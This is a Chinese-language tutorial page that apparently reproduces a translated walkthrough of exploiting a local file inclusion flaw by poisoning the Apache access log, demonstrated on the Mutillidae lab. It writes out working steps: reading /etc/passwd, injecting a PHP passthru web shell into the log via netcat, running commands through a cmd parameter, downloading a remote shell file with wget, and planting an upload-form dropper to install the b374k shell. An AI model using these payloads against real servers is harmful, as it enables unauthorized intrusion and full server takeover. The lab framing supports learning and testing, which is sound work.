91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

怎么通過APACHE ACCESS LOG來利用LFI漏洞

發布時間:2021-11-18 16:23:52 來源:億速云 閱讀:179 作者:柒染 欄目:網絡管理

本篇文章給大家分享的是有關怎么通過APACHE ACCESS LOG來利用LFI漏洞,小編覺得挺實用的,因此分享給大家學習,希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。

本地文件包含(LFI)漏洞,常被入侵者用來提取站點所在服務器上的不同文件內容,如passwd,hosts等。但你有沒有想過將它提升到另一個層級?即通過本地文件包含來獲取服務器上的瀏覽器shell(c99,b374k等)。

設置

我將使用我本地的滲透測試環境設置為例。我當前所使用的web應用程序是Mutillidae。此外,我們必須將Apache配置為允許目錄遍歷。

<Directory /path/to/document/root>
Options Indexes
</Directory>

show time

首先我們來尋找LFI漏洞,點擊鏈接后我們可以看到如下的url地址:

/index.php?page=

讓我們嘗試包含一個敏感文件路徑/etc/passwd,看看會發生什么。如下:

/index.php?page=/etc/passwd

怎么通過APACHE ACCESS LOG來利用LFI漏洞

竟然成功讀取到了文件內容!這也為我們驗證了該應用確實存在本地文件包含漏洞。接下來我們來包含Apache access log,看看是否也能訪問到其中的內容。

訪問日志的位置和文件名在不同的系統上會有所差異,在我的系統上是/var/log/apache2/access.log。將url修改如下:

/index.php?page=/var/log/apache2/access.log

怎么通過APACHE ACCESS LOG來利用LFI漏洞

太棒了!訪問日志的內容也成功被加載。

經過以上的初步驗證,現在是時候進入到我們的第二階段了。

Apache訪問日志的利用

在此之前,你必須要對Apache日志有所了解。

服務器訪問日志記錄服務器處理的所有請求。

參考來源:http://httpd.apache.org/docs/1.3/logs.html#accesslog

這也意味著我們發送到服務器上的任何請求都將會被保存到這里。

首先我們打開一個終端,然后使用netcat向服務器發送一個GET請求。我們之所以沒有使用瀏覽器發送此請求,是因為它會對我們的請求進行url編碼,這將導致它無法正常工作。我們注入的代碼如下:

<?php passthru($_GET['cmd']); ?>

關于passthru()函數:

passthru - 執行外部程序并顯示原始輸出

參考來源:http://php.net/passthru

要使用netcat發送請求,我們需要在終端中執行以下操作:

ncat 192.168.56.101 80

然后我們鍵入以下內容:

GET /<?php passthru($_GET['cmd']); ?> HTTP/1.1
Host: 192.168.56.101
Connection: close

注:這里你必須將192.168.56.101更改為你目標的IP地址。這是我虛擬機的IP地址。

最終看起來應該像下面這樣:

$ ncat 192.168.56.101 80
GET /<?php passthru($_GET['cmd']); ?> HTTP/1.1
Host: 192.168.56.101
Connection: close
 
HTTP/1.1 404 Not Found
Date: Mon, 17 Mar 2014 17:34:53 GMT
Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1ubuntu4.5 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL/0.9.8k Phusion_Passenger/3.0.17 mod_perl/2.0.4 Perl/v5.10.1
Vary: Accept-Encoding
Content-Length: 202
Connection: close
Content-Type: text/html; charset=iso-8859-1
 
404 Not Found</pre>
<h2>Not Found</h2>
<pre>
 
The requested URL /< was not found on this server.

現在讓我們來驗證下我們的注入是否有效,返回瀏覽器并向URL添加一個新參數:

cmd=

在我們的例子中,我將使用id命令:

/index.php?page=/var/log/apache2/access.log&cmd=id

現在,我們來看看我們得到的輸出。 仔細看,你會看到類似于紅框標注的內容:

怎么通過APACHE ACCESS LOG來利用LFI漏洞

我們的命令在服務器上成功被執行!

下面是我們的重頭戲,即獲取服務器的瀏覽器shell。這里有兩種方法,第一種是使用wget,第二種是注入上傳表單。我們先來介紹第一種。

使用wget

Wget是一個文件下載命令。雖然并非總是那么有效,但作為最簡單的方法是我們首先需要去嘗試的。將cmd參數更改如下:

&cmd=wget http://somedomain.com/shellfile.php

這將把shellfile.php下載到服務器,并將其保存在當前的工作目錄中(如果可讀的話)。如果你想要將它保存在其它位置,你可以參考wget手冊。通過這種方法,可以為你省去上傳表單的中間步驟。

上傳表單

如果wget不起作用,我們可以使用上傳表單這種方法。我們將在服務器上執行echo命令,該命令將會將我們的任意內容寫入到文件。將cmd參數更改如下: 

<FORM ENCTYPE="multipart/form-data" ACTION=<?php echo "http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; ?> METHOD=POST>Send this file: <INPUT NAME="userfile" TYPE="file"><INPUT TYPE="submit" VALUE="Send"></FORM><?php move_uploaded_file($_FILES["userfile"]["tmp_name"], $_FILES["userfile"]["name"]); ?>

這將在服務器上創建一個帶有上傳表單的文件。然后我們在瀏覽器中打開該上傳頁面,上傳我們的瀏覽器shell。

如下所示,我們成功上傳了b374k shell。

怎么通過APACHE ACCESS LOG來利用LFI漏洞

過程回顧

1.通過獲取passwd,hosts等文件來驗證LFI漏洞;

2.通過LFI漏洞獲取Apache日志訪問;

3.使用netcat或類似工具發送惡意請求;

4.通過測試id,whoami等簡單命令來驗證代碼執行;

5.使用wget或將上傳表單寫入服務器,將瀏覽器shell添加到服務器上;

6.訪問瀏覽器shell驗證是否成功。

雖然這本身并不是一個超高風險的漏洞,但在被正確利用的情況下也可能會帶來巨大的安全威脅。

以上就是怎么通過APACHE ACCESS LOG來利用LFI漏洞,小編相信有部分知識點可能是我們日常工作會見到或用到的。希望你能通過這篇文章學到更多知識。更多詳情敬請關注億速云行業資訊頻道。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

忻州市| 隆子县| 虹口区| 罗山县| 宜宾县| 龙山县| 浮山县| 仪陇县| 交口县| 南投市| 张家界市| 辉南县| 富源县| 霍山县| 定结县| 娄烦县| 徐州市| 九龙坡区| 同仁县| 大名县| 福清市| 丰城市| 崇州市| 阳江市| 巫溪县| 施秉县| 旺苍县| 宜城市| 永吉县| 和顺县| 民乐县| 思南县| 永顺县| 芮城县| 习水县| 宝山区| 宾川县| 江阴市| 剑川县| 武邑县| 黄梅县|